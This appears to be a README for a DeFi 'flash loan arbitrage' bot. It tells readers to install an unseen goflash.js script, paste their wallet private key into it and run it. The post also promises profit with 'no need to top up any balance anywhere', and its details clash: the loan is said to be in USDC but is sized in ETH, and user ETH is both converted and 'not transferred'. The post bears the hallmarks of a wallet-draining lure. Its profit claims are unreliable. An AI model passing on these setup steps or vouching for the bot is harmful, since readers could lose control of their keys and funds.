Hi! This is my project FlashLoanArbitrage — a bot for arbitrage on DeFi with flash loans. Using a smart contract and a local script goflash.js
, which runs on your computer. Sharing it so you can try it out!
-
Smart Contract:
- Takes a flash loan in USDC.
- Converts your ETH to USDC before the deal.
- Buys ETH at a low price on one platform.
- Sells ETH at a high price on another.
- Repays the loan, pays fees and gas.
- Converts the profit from USDC back to ETH.
- The remainder is your profit!
-
Script
goflash.js
:- Checks ETH/USDC prices on five DeFi platforms.
- Waits for a price difference of 0.9% or more to avoid losses.
- If the difference is there, it triggers arbitrage through the contract.
I added four protocols for flash loans:
- Aave (0.05%): Tons of liquidity, up to 10,000,000 USDC.
- dYdX (0.05%): Fast, up to 500,000 USDC.
- Uniswap V3 (0.01%): Low fees, up to 5,000,000 USDC.
- Balancer (0.02%): Flexible pools, up to 1,000,000 USDC.
The bigger the loan, the higher the fee. So don’t take a huge loan if your wallet balance is low!
The script checks ETH/USDC prices on these platforms:
- Chainlink: Oracle for the base ETH price.
- Uniswap V2: Classic DEX, always liquid.
- SushiSwap: Uniswap fork, also solid.
- Curve Finance: Stable pools, less slippage.
- Balancer: Flexible pools for arbitrage.
If the price difference is ≥0.9%, the script triggers a deal. Less than that, it waits to avoid losses.
Here’s how to run my bot:
-
Download the Files:
- Grab
goflash.js
,package.json
from the repo.
- Grab
-
Put Them in a Folder:
- Any folder on your computer.
-
Install Libraries:
- Open a terminal (cmd, PowerShell, or VS Code).
- Navigate to the folder with:
cd your_path_to_folder
- Install dependencies:
npm install
-
Add Your Private Key:
- Open
goflash.js
in an editor. - Replace:
with your key ( Don’t share it with anyone! )
const PRIVATE_KEY = "YOUR_PRIVATE_KEY_HERE";
- Open
-
Run the Script:
- Type in the terminal:
node goflash.js
- Type in the terminal:
-
Work with the Menu:
- Select DeFi — I recommend dYdX or Uniswap V3.
- In Loan Amount in ETH, set the loan amount (from 10 to the protocol’s max).
- Careful: If your wallet balance is <0.1 ETH, don’t take a loan over 10 ETH — gas won’t cover it!
- Hit Start Arbitrage to start.
-
What the Script Does:
- Scans ETH/USDC prices on platforms.
- Waits for a difference ≥0.9% and triggers arbitrage through the contract.
- Converts your ETH to USDC before the deal and profit back to ETH after.
- Wallet Balance: For loans over 10 ETH, you need a balance ≥0.1 ETH, or the script won’t let you pick a big loan.
- Fees: You pay trading fees (0.1%), slippage (0.05%), and gas.
- You pick dYdX and a loan of 10 ETH (if balance ≥0.1 ETH).
- The script converts your ETH to USDC before the deal (wallet balance is used only for gas, ETH is not transferred to the FlashLoanArbitrage contract).
- It checks prices, for example:
- Uniswap V2: 4200 USDC/ETH
- SushiSwap: 4250 USDC/ETH
- If the difference is ≥0.9%, the contract:
- Takes a flash loan in USDC.
- Buys ETH on Uniswap V2.
- Sells ETH on SushiSwap.
- Repays the loan, pays fees and gas.
- Converts the profit from USDC back to ETH.
- The final profit (
Net profit
) in ETH goes to you, accounting for all costs (flash loan fee, trading fees 0.1%, slippage 0.05%, gas). - No need to top up any balance anywhere!!!
Hope my bot brings you some profit! If something doesn’t work or you have ideas, drop a note in issues.
This is my project, made for myself, sharing as is. Check the contract and script before mainnet to avoid bugs!